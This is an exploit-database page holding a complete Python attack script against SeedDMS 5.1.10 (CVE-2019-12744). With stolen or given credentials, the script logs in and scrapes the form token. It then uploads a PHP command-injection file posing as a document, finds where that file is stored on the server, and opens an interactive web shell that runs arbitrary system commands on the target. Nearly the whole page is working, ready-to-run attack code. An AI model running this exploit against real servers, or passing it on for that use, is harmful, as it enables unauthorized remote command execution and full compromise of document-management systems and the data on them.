Share
## https://sploitus.com/exploit?id=PACKETSTORM:163283
# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated)   
# Date: 25/06/2021  
# Exploit Author: Bryan Leong <NobodyAtall>  
# Vendor Homepage: https://www.seeddms.org/index.php?id=2  
# Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/  
# Version: Seeddms 5.1.10  
# Tested on: Windows 7 x64  
# CVE: CVE-2019-12744  
  
import requests  
import argparse  
import sys  
import random  
import string  
from bs4 import BeautifulSoup  
from requests_toolbelt import MultipartEncoder  
  
def sysArgument():  
ap = argparse.ArgumentParser()  
  
ap.add_argument("-u", "--username", required=True, help="login username")  
ap.add_argument("-p", "--password", required=True, help="login password")  
ap.add_argument("--url", required=True, help="target URL Path")  
  
args = vars(ap.parse_args())  
  
return args['username'], args['password'], args['url']   
  
def login(sessionObj, username, password, url):  
loginPath = "/op/op.Login.php"   
url += loginPath  
  
postData = {  
'login': username,  
'pwd': password,  
'lang' : 'en_GB'  
}  
try:  
rsl = sessionObj.post(url, data=postData)  
  
if(rsl.status_code == 200):  
if "Error signing in. User ID or password incorrect." in rsl.text:  
print("[!] Incorrect Credential.")  
else:  
print("[*] Login Successful.")   
print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session'])  
return sessionObj   
  
else:  
print("[!] Something went wrong.")   
print("Status Code: %d" % (rsl.status_code))  
sys.exit(0)  
except Exception as e:  
print("[!] Something Went Wrong!")  
print(e)  
sys.exit(0)  
  
return sessionObj  
  
def formTokenCapturing(sessionObj, url):  
path = "/out/out.AddDocument.php?folderid=1&showtree=1"  
url += path  
formToken = ""  
  
try:   
rsl = sessionObj.get(url)  
  
if(rsl.status_code == 200):  
print("[*] Captured Form Token.")  
  
#extracting form token  
soup = BeautifulSoup(rsl.text,'html.parser')  
form1 = soup.findAll("form", {"id": "form1"})  
  
soup = BeautifulSoup(str(form1[0]),'html.parser')  
formToken = soup.find("input", {"name": "formtoken"})   
print("[*] Form Token: " + formToken.attrs['value'])  
  
return sessionObj, formToken.attrs['value']  
else:  
print("[!] Something went wrong.")   
print("Status Code: %d" % (rsl.status_code))  
sys.exit(0)  
  
except Exception as e:  
print("[!] Something Went Wrong!")  
print(e)  
sys.exit(0)  
  
return sessionObj, formToken  
  
def uploadingPHP(sessionObj, url, formToken):  
path = "/op/op.AddDocument.php"  
url += path  
  
#generating random name  
letters = string.ascii_lowercase  
rand_name = ''.join(random.choice(letters) for i in range(20))  
  
#POST Data  
payload = {  
'formtoken' : formToken,  
'folderid' : '1',  
'showtree' : '1',  
'name' : rand_name,  
'comment' : '',  
'keywords' : '',  
'sequence' : '2',  
'presetexpdate' : 'never',  
'expdate' : '',  
'ownerid' : '1',  
'reqversion' : '1',  
'userfile[]' : (  
'%s.php' % (rand_name),   
open('phpCmdInjection.php', 'rb'),   
'application/x-httpd-php'  
),  
'version_comment' : ''  
}  
  
multiPartEncodedData = MultipartEncoder(payload)  
  
try:   
rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type})  
  
if(rsl.status_code == 200):  
print("[*] Command Injection PHP Code Uploaded.")  
print("[*] Name in Document Content Shows: " + rand_name)  
  
return sessionObj, rand_name  
else:  
print("[!] Something went wrong.")   
print("Status Code: %d" % (rsl.status_code))  
sys.exit(0)  
  
  
except Exception as e:  
print("[!] Something Went Wrong!")  
print(e)  
sys.exit(0)  
  
return sessionObj, rand_name  
  
def getDocID(sessionObj, url, docName):  
path = "/out/out.ViewFolder.php?folderid=1"  
url += path  
  
try:   
rsl = sessionObj.get(url)  
  
if(rsl.status_code == 200):  
#searching & extracting document id storing payload  
soup = BeautifulSoup(rsl.text,'html.parser')  
viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"})  
  
soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser')  
rowsDoc = soup.findAll("tr", {"class": "table-row-document"})   
  
for i in range(len(rowsDoc)):  
soup = BeautifulSoup(str(rowsDoc[i]),'html.parser')  
tdExtracted = soup.findAll("td")   
  
foundDocName = tdExtracted[1].contents[0].contents[0]  
  
#when document name matched uploaded document name  
if(foundDocName == docName):  
print("[*] Found Payload Document Name. Extracting Document ID...")  
tmp = tdExtracted[1].contents[0].attrs['href'].split('?')  
docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '')  
  
print("[*] Document ID: " + docID)  
  
return sessionObj, docID  
  
#after loops & still unable to find matched uploaded Document Name  
print("[!] Unable to find document ID.")  
sys.exit(0)  
  
else:  
print("[!] Something went wrong.")   
print("Status Code: %d" % (rsl.status_code))  
sys.exit(0)  
  
except Exception as e:  
print("[!] Something Went Wrong!")  
print(e)  
sys.exit(0)  
  
return sessionObj  
  
def shell(sessionObj, url, docID):  
#remove the directory /seeddms-5.1.x  
splitUrl = url.split('/')  
remLastDir = splitUrl[:-1]  
  
url = ""  
#recontruct url  
for text in remLastDir:  
url += text + "/"  
  
#path storing uploaded php code  
path = "/data/1048576/%s/1.php" % docID  
url += path  
  
#checking does the uploaded php exists?  
rsl = sessionObj.get(url)  
  
if(rsl.status_code == 200):  
print("[*] PHP Script Exist!")  
print("[*] Injecting some shell command.")  
  
#1st test injecting whoami command  
data = {  
'cmd' : 'whoami'  
}  
  
rsl = sessionObj.post(url, data=data)  
  
if(rsl.text != ""):  
print("[*] There's response from the PHP script!")  
print('[*] System Current User: ' + rsl.text.replace("<pre>", "").replace("</pre>", ""))  
  
print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n")  
#start shell iteration  
while(True):  
cmd = input("[Seeddms Shell]$ ")  
  
if(cmd == ".exit"):  
print("[*] Exiting shell.")  
sys.exit(0)  
  
data = {  
'cmd' : cmd  
}  
  
rsl = sessionObj.post(url, data=data)  
print(rsl.text.replace("<pre>", "").replace("</pre>", ""))  
  
else:  
print("[!] No response from PHP script. Something went wrong.")  
sys.exit(0)  
  
else:  
print("[!] PHP Script Not Found!!")  
print(rsl.status_code)  
sys.exit(0)  
  
  
  
  
def main():   
username, password, url = sysArgument()  
  
sessionObj = requests.Session()   
  
#getting session token from logging in   
sessionObj = login(sessionObj, username, password, url)  
  
#capturing form token for adding document  
sessionObj, formToken = formTokenCapturing(sessionObj, url)  
  
#uploading php code for system command injection  
sessionObj, docName = uploadingPHP(sessionObj, url, formToken)  
  
#getting document id  
sessionObj, docID = getDocID(sessionObj, url, docName)  
  
#spawning shell to exec system Command  
shell(sessionObj, url, docID)  
  
if __name__ == "__main__":  
main()